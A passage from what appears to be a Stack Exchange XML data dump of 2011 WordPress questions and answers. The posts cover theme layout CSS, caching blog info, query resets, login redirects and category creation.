C:\xampplite\htdocs\testsite\wp-includes\query.php:2390) in&#xA;  C:\xampplite\htdocs\testsite\wp-includes\functions.php on line 851&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: Cannot modify header information - headers already sent by&#xA;  (output started at&#xA;  C:\xampplite\htdocs\testsite\wp-includes\query.php:2390) in&#xA;  C:\xampplite\htdocs\testsite\wp-includes\functions.php on line 852&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-07-15T22:36:03.503" Title="Warning: in_array() expects parameter 2 to be array, null given" Tags="&lt;errors&gt;&lt;media-library&gt;" AnswerCount="1" />
  <row Id="23104" PostTypeId="2" ParentId="23026" CreationDate="2011-07-15T21:04:14.553" Score="0" ViewCount="" Body="&lt;p&gt;A simple solution would be to just add a user role using &lt;code&gt;add_role&lt;/code&gt;, that way you can name it whatever you want and add whatever capabilities you want.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_role&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_role&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-15T21:04:14.553" CommentCount="1" />
  <row Id="23105" PostTypeId="1" AcceptedAnswerId="23117" CreationDate="2011-07-15T21:20:24.780" Score="0" ViewCount="33" Body="&lt;p&gt;Relevant link: &lt;a href=&quot;http://themeforward.com/demo2/2011/01/17/testing-comments/&quot; rel=&quot;nofollow&quot;&gt;http://themeforward.com/demo2/2011/01/17/testing-comments/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been toying with this for about 10 minutes, trying to get the sidebar to align properly and I can't figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I placed my comments in a new DIV to separate them from the posts.  Usually I wouldn't do this but I want designers to have full CSS control without adding new classes when they start using this theme to build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Anyway, my sidebar ends up being aligned with my comments rather than the content on my page.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving the div under the endif is not an option here because I want to be able to style just the post by itself if desired.  Putting the comments below the sidebar makes the comments disappear!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;&amp;lt;div id=&quot;post_content&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;clear&quot;&amp;gt;&#xA;&amp;lt;!-- Grab posts --&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;!-- Post title --&amp;gt;&#xA;&amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div class=&quot;sub-title-post&quot;&amp;gt;&#xA;&amp;lt;?php the_time('F j, Y'); ?&amp;gt; by &amp;lt;?php the_author_posts_link( ); ?&amp;gt;, under &amp;lt;?php the_category(', ') ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!-- The post --&amp;gt;&#xA;&amp;lt;?php the_content(); ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php edit_post_link('Edit', '&amp;lt;p&amp;gt;', '&amp;lt;/p&amp;gt;'); ?&amp;gt;&#xA;&#xA;&amp;lt;!-- Tags --&amp;gt;&#xA;&amp;lt;h3 class=&quot;tags&quot;&amp;gt;&amp;lt;?php the_tags('Tags ',' / ','&amp;lt;br /&amp;gt;'); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&amp;lt;h3 class=&quot;tags&quot;&amp;gt;&amp;lt;?php $turl = getTinyUrl(get_permalink($post-&amp;gt;ID));&#xA;echo 'Short URL &amp;lt;a href=&quot;'.$turl.'&quot;&amp;gt;'.$turl.'&amp;lt;/a&amp;gt;' ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;!-- Next/Previous Posts --&amp;gt;&#xA;&amp;lt;div class=&quot;mp_archive2&quot;&amp;gt;&#xA;&amp;lt;div id=&quot;more_posts&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;oe&quot;&amp;gt;&amp;lt;?php previous_post_link('%link', '-', TRUE); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;re&quot;&amp;gt;&amp;lt;?php next_post_link('%link', '+', TRUE); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; else: ?&amp;gt;&#xA;&amp;lt;p&amp;gt;No matching entries found.&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php comments_template(); ?&amp;gt;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5205" LastEditorUserId="3051" LastEditorDisplayName="" LastEditDate="2011-07-16T07:58:17.693" LastActivityDate="2011-07-16T07:58:17.693" Title="Unable to align my sidebar to the contents section instead of comments" Tags="&lt;css&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="23106" PostTypeId="2" ParentId="23105" CreationDate="2011-07-15T21:32:35.063" Score="0" ViewCount="" Body="&lt;p&gt;try styling the post content to float left, sidebar to float right, and clear left the comment.&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-15T21:32:35.063" CommentCount="1" />
  <row Id="23107" PostTypeId="2" ParentId="17419" CreationDate="2011-07-15T21:48:52.463" Score="0" ViewCount="" Body="&lt;p&gt;Check this out and let me know if it works for you: &lt;a href=&quot;http://wordpress.org/support/topic/posts-in-the-last-day&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/posts-in-the-last-day&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also this: &lt;a href=&quot;http://www.dagondesign.com/articles/posts-from-last-x-days-plugin-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.dagondesign.com/articles/posts-from-last-x-days-plugin-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5205" LastActivityDate="2011-07-15T21:48:52.463" />
  <row Id="23108" PostTypeId="2" ParentId="23015" CreationDate="2011-07-15T21:53:23.867" Score="0" ViewCount="" Body="&lt;p&gt;There are two options I'm aware of, and neither are free:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://premium.wpmudev.org/project/new-blog-template&quot; rel=&quot;nofollow&quot;&gt;http://premium.wpmudev.org/project/new-blog-template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpebooks.com/replicator/&quot; rel=&quot;nofollow&quot;&gt;http://wpebooks.com/replicator/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't actually tried either of them yet, so can't recommend one over the other.&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2011-07-15T21:53:23.867" />
  <row Id="23109" PostTypeId="2" ParentId="23089" CreationDate="2011-07-15T22:13:20.340" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/general-template.php#L400&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_bloginfo()&lt;/code&gt;&lt;/a&gt; is not cached and calling it over and over would  harm your performance just like creating many calls to the database yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a simple solution which doesn't evolve any caching in to minimize the database and function calls by defining a an array with all the info you need and save that as an option in the wp_options table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then in your header.php globalize a variable and assign that option to it and every were in your them you can just use that, something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function set_get_my_blog_info(){&#xA;    $my_blog_info = get_option('my_blog_info');&#xA;    if ($my_blog_info === false){&#xA;        global $wp_version&#xA;        $lang = get_locale();&#xA;        $lang = str_replace('_', '-', $lang);&#xA;        $my_blog_info = array(&#xA;            'url' =&amp;gt; home_url(),&#xA;            'wpurl' =&amp;gt; site_url(),&#xA;            'description' =&amp;gt; get_option('blogdescription'),&#xA;            'rdf_url' =&amp;gt; get_feed_link('rdf'),&#xA;            'rss_url' =&amp;gt; get_feed_link('rss'),&#xA;            'rss2_url' =&amp;gt; get_feed_link('rss2'),&#xA;            'atom_url' =&amp;gt; get_feed_link('atom'),&#xA;            'comments_atom_url' =&amp;gt; get_feed_link('comments_atom'),&#xA;            'comments_rss2_url' =&amp;gt; get_feed_link('comments_rss2'),&#xA;            'pingback_url' =&amp;gt; get_option('siteurl') .'/xmlrpc.php',&#xA;            'stylesheet_url' =&amp;gt; get_stylesheet_uri(),&#xA;            'stylesheet_directory' =&amp;gt; get_stylesheet_directory_uri(),&#xA;            'template_url' =&amp;gt; get_template_directory_uri(),&#xA;            'admin_email' =&amp;gt; get_option('admin_email'),&#xA;            'html_type' =&amp;gt; get_option('html_type'),&#xA;            'version' =&amp;gt; $wp_version,&#xA;            'language' =&amp;gt; $lang     &#xA;        );&#xA;        update_option('my_blog_info',$my_blog_info);&#xA;    }&#xA;    return $my_blog_info;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will save most of the get_bloginfo options into one option in the database and will only run once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then in your header.php add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $my_blog_info;&#xA;$my_blog_info = set_get_my_blog_info();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and after you do that you can use that array anywhere you want in your theme, for example instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_bloginfo('url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;simply use your array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $my_blog_options['url'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-15T22:13:20.340" />
  <row Id="23110" PostTypeId="2" ParentId="23089" CreationDate="2011-07-15T22:28:24.227" Score="2" ViewCount="" Body="&lt;p&gt;While there is no inherent caching in &lt;code&gt;get_bloginfo()&lt;/code&gt;, most of information it retrieves is from options and &lt;code&gt;get_option()&lt;/code&gt; is cached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Holding value you need in a variable for using several time is still (marginally in most cases) faster than function call, but I wouldn't bother with explicit dedicated caching.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-15T22:28:24.227" CommentCount="1" />
  <row Id="23111" PostTypeId="1" CreationDate="2011-07-15T22:29:25.250" Score="1" ViewCount="73" Body="&lt;p&gt;This is probably easy once you know but I'm having trouble getting the static page content to appear AFTER a list of posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a named page template which displays posts as a slider and I want to display the static content of the page underneath this slider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display the static content I've got this in my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- display page content (if any) before blog posts --&amp;gt;&#xA;            &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;            &amp;lt;div &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;            &amp;lt;h1 class=&quot;title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- /.entry --&amp;gt;&#xA;               &amp;lt;div class=&quot;fix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- /.post --&amp;gt;&#xA;            &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&amp;lt;!-- end of page content --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use this bit of code BEFORE the slider query/loop then my static content displays fine with the slider displaying the posts after. However if I use this snippet AFTER the slider posts then I just get a list of the slider posts - because of the query set up for the list of posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, to show the static content after the slider posts I need to reset the query back to the current static page content somehow.&lt;/p&gt;&#xA;" OwnerUserId="7061" LastActivityDate="2011-07-17T11:04:41.207" Title="Display page content AFTER a loop of posts" Tags="&lt;posts&gt;&lt;template&gt;&lt;query&gt;&lt;static&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="23112" PostTypeId="2" ParentId="23103" CreationDate="2011-07-15T22:36:03.503" Score="3" ViewCount="" Body="&lt;p&gt;Quick look at source for that version shows parsing &lt;code&gt;post_status&lt;/code&gt; argument. It's probably &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16824&quot; rel=&quot;nofollow&quot;&gt;this bug that got fixed in 3.2&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrade. :)&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-15T22:36:03.503" CommentCount="1" />
  <row Id="23113" PostTypeId="2" ParentId="23101" CreationDate="2011-07-15T22:42:38.037" Score="0" ViewCount="" Body="&lt;p&gt;Since 3.2 WP uses new system of partial upgrades for core - only changed files get downloaded and overwritten. So probability of it messing things up is much lower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updates (if any) of database are actually performed after file update is done on next dashboard visit. If WP is not capable of making those, it's likely just as not capable of normal operation.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-15T22:42:38.037" />
  <row Id="23114" PostTypeId="1" CreationDate="2011-07-15T22:43:02.790" Score="1" ViewCount="22" Body="&lt;p&gt;This question is particular to the plugin &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-calendar/&quot; rel=&quot;nofollow&quot;&gt;WP Calendar&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The events are outputted in ascending order rather than descending which would make more sense since the newest should appear first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the code I'm using is &lt;a href=&quot;http://wordpress.org/support/topic/order-direction-orderdir-not-working&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instructions on how to customize the output are only viewable in the plugin admin, so I have pasted them into a &lt;a href=&quot;http://pastie.org/2220067&quot; rel=&quot;nofollow&quot;&gt;pastie&lt;/a&gt;. In the instructions it says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;orderby =&gt; datefrom   An array of fields to be sorted. This parameter is not available for the function fse_print_events_list, when grouping is active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;orderdir =&gt; ASC An array of sort directions (asc or desc). Use the same key as in the array orderby to join the right field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The functionality definitely exists and involves &lt;code&gt;'orderdir' =&amp;gt; 'DESC'&lt;/code&gt; I imagine but everything I try doesn't change the order. The developer has not responded in weeks. Maybe the orderby and order dir do not go in the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help =) &lt;/p&gt;&#xA;" OwnerUserId="5465" LastEditorUserId="3051" LastEditorDisplayName="" LastEditDate="2011-07-16T07:58:20.143" LastActivityDate="2011-07-16T07:58:20.143" Title="Unable to reorder the calendar using the WP Calendar plugin" Tags="&lt;php&gt;&lt;array&gt;" CommentCount="3" />
  <row Id="23115" PostTypeId="2" ParentId="23096" CreationDate="2011-07-15T22:47:40.193" Score="3" ViewCount="" Body="&lt;p&gt;Just design it on Photoshop ( or any graphics program) and then convert it to WordPress, there is no need for any middle coding in this situation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;GOOD&lt;/strong&gt; graphics ---&gt;WordPress  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BAD&lt;/strong&gt; graphics--&gt;dreamweaver---&gt; WordPress&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-15T22:47:40.193" />
  <row Id="23116" PostTypeId="2" ParentId="23111" CreationDate="2011-07-15T22:53:37.323" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_reset_query&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_reset_query();&lt;/code&gt;&lt;/a&gt; or consider saving your &lt;code&gt;$wp_query&lt;/code&gt; result into &lt;code&gt;$my_query = new WP_Query(); if( $my_query-&amp;gt;have_posts();&lt;/code&gt; etc. Just take a look at the codex page.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-15T22:53:37.323" CommentCount="3" />
  <row Id="23117" PostTypeId="2" ParentId="23105" CreationDate="2011-07-15T22:57:00.643" Score="1" ViewCount="" Body="&lt;p&gt;Put content and comments into a container div with float: left; and then add the same to your sidebar.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-15T22:57:00.643" />
  <row Id="23118" PostTypeId="2" ParentId="23105" CreationDate="2011-07-15T23:02:49.640" Score="2" ViewCount="" Body="&lt;p&gt;Your CSS is all messed up, first you want to float the sidebar and any other containers &lt;strong&gt;left&lt;/strong&gt;, second stop using !important when your not even overwriting anything, next the major problem is you using &lt;code&gt;clear:both:&lt;/code&gt; all over the place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;move &lt;code&gt;&amp;lt;?php get_sidebar(); ?&amp;gt;&lt;/code&gt; above &lt;code&gt;&amp;lt;?php comments_template(); ?&amp;gt;&lt;/code&gt; take out the unnecessary CSS and &lt;code&gt;float:left.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also consider using  &lt;code&gt;post_class&lt;/code&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/post_class&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/post_class&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-15T23:15:48.263" LastActivityDate="2011-07-15T23:15:48.263" />
  <row Id="23119" PostTypeId="2" ParentId="23035" CreationDate="2011-07-15T23:18:44.453" Score="1" ViewCount="" Body="&lt;p&gt;There is a &lt;code&gt;remove_menu&lt;/code&gt; hook for the admin menu bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The class you want to hook into &lt;code&gt;$wp_admin_bar&lt;/code&gt; , you can see the remove function here and test it out since there is no documentation on it ( line 86), it should work with the submenu ID.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/class-wp-admin-bar.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/class-wp-admin-bar.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Since you did not seem to believe me here is the code.........&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ya_do_it_admin_bar_remove() {&#xA;        global $wp_admin_bar;&#xA;&#xA;        /* **edit-profile is the ID** */&#xA;        $wp_admin_bar-&amp;gt;remove_menu('edit-profile');&#xA; }&#xA;&#xA;add_action('wp_before_admin_bar_render', 'ya_do_it_admin_bar_remove', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-07-18T03:28:29.970" LastActivityDate="2011-07-18T03:28:29.970" CommentCount="7" />
  <row Id="23120" PostTypeId="2" ParentId="23111" CreationDate="2011-07-15T23:28:27.967" Score="2" ViewCount="" Body="&lt;p&gt;Your slider needs to be created from a &lt;em&gt;second&lt;/em&gt;, custom Loop. There are a few options, including using &lt;code&gt;$my_query = new WP_Query()&lt;/code&gt;, however, generally speaking, my preference is to use &lt;code&gt;$my_query = get_posts()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you post your slider code, we can help you customize it properly.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-15T23:28:27.967" />
  <row Id="23121" PostTypeId="1" CreationDate="2011-07-15T23:34:25.207" Score="1" ViewCount="32" Body="&lt;p&gt;I'm trying to write a routine that will pull items from the wp_options table in order to transport them to another site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is that if the source site has custom menus, I'd like to bring those along as well. What table records are referenced for custom menus?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see at least these three in wp_options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;widget_nav_menu&#xA;theme_mods_myTheme&#xA;myTheme_menus_created&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6620" LastEditorUserId="6620" LastEditorDisplayName="" LastEditDate="2011-07-16T01:58:42.643" LastActivityDate="2011-07-16T01:58:42.643" Title="How to duplicate custom menu settings to export to another site" Tags="&lt;plugin-development&gt;" />
  <row Id="23122" PostTypeId="1" AcceptedAnswerId="23147" CreationDate="2011-07-15T23:44:16.520" Score="0" ViewCount="35" Body="&lt;p&gt;I am moving an entire site from html and dreamweaver format to wordpress. I imported the content using htlm import plugin that worked well. Now I have to correct all content links as they kept the same variable url format applied by dreamweaver and as I have changed the dite directory structure, most of them are broken now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, my issue is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) OLD site internal links urls  (dreamweaver):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;page.html&quot;&amp;gt;page&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2)Now, in WP, the correct url for it would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/parentpage/page/&quot;&amp;gt;page&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using BrokenLinks and Search&amp;amp;Replace plugins to correct them and my questions are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Should i replace the old url (1 above) to:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a) &amp;lt;a href=&quot;/parentpage/page/&quot;&amp;gt;page&amp;lt;/a&amp;gt; (2 above), or&#xA;b) &amp;lt;a href=&quot;/page/&quot;&amp;gt;page&amp;lt;/a&amp;gt; ( I noticed that even though it is not the final full url (parent page and page), a link with this url works well in WP, probably due any redirect rules.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even though both will finally work,  I want to know if:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What should be the format (a or b above) I should use to replace the old ones to avoid problem in case I decide to modify the parent page, for example, from &quot;/parentpage/page/&quot; to &quot;/parentpageX/page/&quot;? My doubt is if I use the option &quot;b&quot; to replace the old one, if I change the parent page some time, this link would become broken again?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is the better option take into account SEO?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do you suggest any better method to handle this old broken url issue?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help&lt;/p&gt;&#xA;" OwnerUserId="7062" LastActivityDate="2011-07-16T09:45:50.493" Title="Replacing broken urls (dreamweaver) to new ones in wordpress" Tags="&lt;url-rewriting&gt;" AnswerCount="1" />
  <row Id="23123" PostTypeId="1" AcceptedAnswerId="23124" CreationDate="2011-07-16T00:50:37.173" Score="0" ViewCount="19" Body="&lt;p&gt;I'm trying to redirect certain users to a part of my site but I cannot seem to make it work... can you take a look at this and tell me what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! function_exists( 'redirect_after_login' ) ) :&#xA;    function redirect_after_login() {&#xA;        global $user_ID;&#xA;        if ( $user_ID === 4 ) {&#xA;            global $redirect_to;&#xA;            if (!isset($_GET['redirect_to'])) {&#xA;                $redirect_to = get_option('siteurl') . '/stock-de-sexitive/';&#xA;            }&#xA;   }&#xA;}&#xA;endif;&#xA;add_action('auth_redirect', 'redirect_after_login');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I know globals are dangerous, so if you know of a canonical approach that would be great too&lt;/p&gt;&#xA;" OwnerUserId="5057" LastActivityDate="2011-07-16T00:55:29.623" Title="problem redirecting users to page on login" Tags="&lt;redirect&gt;&lt;wordpress.org&gt;&lt;wp-redirect&gt;" AnswerCount="1" />
  <row Id="23124" PostTypeId="2" ParentId="23123" CreationDate="2011-07-16T00:55:29.623" Score="0" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_redirect&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_redirect()&lt;/code&gt;&lt;/a&gt;. And don't forget to exit.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-16T00:55:29.623" CommentCount="2" />
  <row Id="23125" PostTypeId="1" CreationDate="2011-07-16T02:00:01.470" Score="0" ViewCount="22" Body="&lt;p&gt;I have a form on my web site that allows the user to select a category: Base &gt; State. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An input within that form is called &quot;Neighborhood name.&quot; When the user submits the form, I want to create two new categories, so that the post is saved in: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Base &gt; State &gt; Neighborhoods &gt; Neighborhood Name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3rd category is static and will always be called &quot;Neighborhoods&quot; while the name comes from the form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to deal with the form and get the variables. But what function do I use? How do I create a category when I first need to create its parent? Can I do this using wp_insert_category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I figured out how to do this using wp_insert_term. The function returns the new category id. So you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$n_cat_id = wp_insert_term(&#xA;                'Neighborhoods', // the term &#xA;                'category', // the taxonomy&#xA;                array(&#xA;                    'slug' =&amp;gt; 'neighborhoods',&#xA;                    'parent'=&amp;gt; $parent_term_id&#xA;                )&#xA;            );&#xA;            $named_id = wp_insert_term(&#xA;                $my_neighborhood, // the term &#xA;                'category', // the taxonomy&#xA;                array(&#xA;                    'slug' =&amp;gt; $my_neighborhood,&#xA;                    'parent'=&amp;gt; $n_cat_id['term_id']&#xA;                )&#xA;            );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6641" LastEditorUserId="6641" LastEditorDisplayName="" LastEditDate="2011-07-17T19:50:55.493" LastActivityDate="2011-07-17T19:50:55.493" Title="Create two categories at once (parent &gt; child)" Tags="&lt;categories&gt;" FavoriteCount="1" />
  <row Id="23126" PostTypeId="1" CreationDate="2011-07-16T02:06:15.753" Score="0" ViewCount="51" Body="&lt;p&gt;Thank you in advance for considering this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be too long, yet I cannot see leaving anything out in order to provide the maximum number of clues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to sort out some settings. I'd like to know which settings take priority and how to enter details correctly. The main topic would, I suppose, be SEO and getting the plugin and the theme to behave. My goal is t have the page title balloons act normally, and to make proper entries into the Yoast WordPress SEO plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a theme (Elegant Themes (ET) 'Polished') that has some options, also using a plugin (WP SEO) and WP 3.2.1 (of course). I am currently hidden from search engines, am using 'pretty' permalinks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a static Home page, and a page for posts I titled Blog. I'd like to do it right and am pretty much a non-coder. Now to list some settings options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP: Tagline: &quot;Earthquake Prediction &amp;amp; Preparedness.&quot; If I clear this in WP, it does not appear on the home page where the theme integrates it artfully. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was having a problem with the &quot; | &quot; separator appearing at the end of my page titles when hovering over the tab. I made it go away (in favor of the WP SEO settings on each page) by clearing it from the Elegant Themes epanel (like a cpanel): in the in the SEO section, in all three tabbed areas: Homepage SEO, Single Post Page SEO and Index Page SEO, under &quot;Define a character to separate Blogname and Post title&quot; fields. I (finally) found that clearing the separator from ET&gt;SEO&gt;Index Page SEO did the trick. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice that when I am on the Home page and hover over the browser tab, no page title balloon appears (as it does on other pages) and do not know if this is normal. The tab shows 